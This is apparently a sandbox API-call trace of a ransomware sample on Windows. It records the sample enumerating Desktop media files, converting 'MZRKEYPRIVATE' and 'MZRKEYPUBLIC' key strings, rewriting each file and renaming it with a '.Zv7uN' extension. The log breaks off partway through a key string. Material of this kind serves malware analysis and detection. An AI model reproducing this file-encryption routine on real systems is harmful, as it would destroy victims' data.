lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1csjamb8ujgxr0u-d.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8244c20, ftCreationTime.dwHighDateTime=0x1d5e343, ftLastAccessTime.dwLowDateTime=0xf12e8380, ftLastAccessTime.dwHighDateTime=0x1d5e605, ftLastWriteTime.dwLowDateTime=0xf12e8380, ftLastWriteTime.dwHighDateTime=0x1d5e605, nFileSizeHigh=0x0, nFileSizeLow=0x12a8f)) returned 1 [0126.483] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1csjamb8ujgxr0u-d.avi")) returned 0x20 [0126.483] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi", dwFileAttributes=0x80) returned 1 [0126.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.487] GetCurrentThreadId () returned 0xa30 [0126.487] GetCurrentThreadId () returned 0xa30 [0126.487] GetCurrentThreadId () returned 0xa30 [0126.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.488] GetCurrentThreadId () returned 0xa30 [0126.488] GetCurrentThreadId () returned 0xa30 [0126.488] GetCurrentThreadId () returned 0xa30 [0126.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1csjamb8ujgxr0u-d.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.488] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.489] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.489] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x12a8f [0126.489] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.489] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x12a8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x12a8f, lpOverlapped=0x0) returned 1 [0126.548] CloseHandle (hObject=0x120) returned 1 [0126.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1csjamb8ujgxr0u-d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.554] WriteFile (in: hFile=0x120, lpBuffer=0x1f0cfa0*, nNumberOfBytesToWrite=0x12a8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0cfa0*, lpNumberOfBytesWritten=0x18f978*=0x12a8f, lpOverlapped=0x0) returned 1 [0126.558] CloseHandle (hObject=0x120) returned 1 [0126.559] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1csjamb8ujgxr0u-d.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1CsJaMB8ujGXR0u-D.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1csjamb8ujgxr0u-d.avi.zv7un")) returned 1 [0126.561] GetCurrentThreadId () returned 0xa30 [0126.561] GetCurrentThreadId () returned 0xa30 [0126.561] GetCurrentThreadId () returned 0xa30 [0126.562] GetCurrentThreadId () returned 0xa30 [0126.562] GetCurrentThreadId () returned 0xa30 [0126.562] GetCurrentThreadId () returned 0xa30 [0126.562] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206c4c70, ftCreationTime.dwHighDateTime=0x1d5e4f0, ftLastAccessTime.dwLowDateTime=0x19204dd0, ftLastAccessTime.dwHighDateTime=0x1d5e64f, ftLastWriteTime.dwLowDateTime=0x19204dd0, ftLastWriteTime.dwHighDateTime=0x1d5e64f, nFileSizeHigh=0x0, nFileSizeLow=0xbb90, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="2ihEu7JjN.ots", cAlternateFileName="2IHEU7~1.OTS")) returned 1 [0126.562] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.562] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.562] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ea76b0, ftCreationTime.dwHighDateTime=0x1d5e3dc, ftLastAccessTime.dwLowDateTime=0x512b4e0, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x512b4e0, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0xef83, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="2RLAZi.mkv", cAlternateFileName="")) returned 1 [0126.562] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.562] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2rlazi.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ea76b0, ftCreationTime.dwHighDateTime=0x1d5e3dc, ftLastAccessTime.dwLowDateTime=0x512b4e0, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x512b4e0, ftLastWriteTime.dwHighDateTime=0x1d5d92f, nFileSizeHigh=0x0, nFileSizeLow=0xef83)) returned 1 [0126.562] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2rlazi.mkv")) returned 0x20 [0126.562] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv", dwFileAttributes=0x80) returned 1 [0126.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAw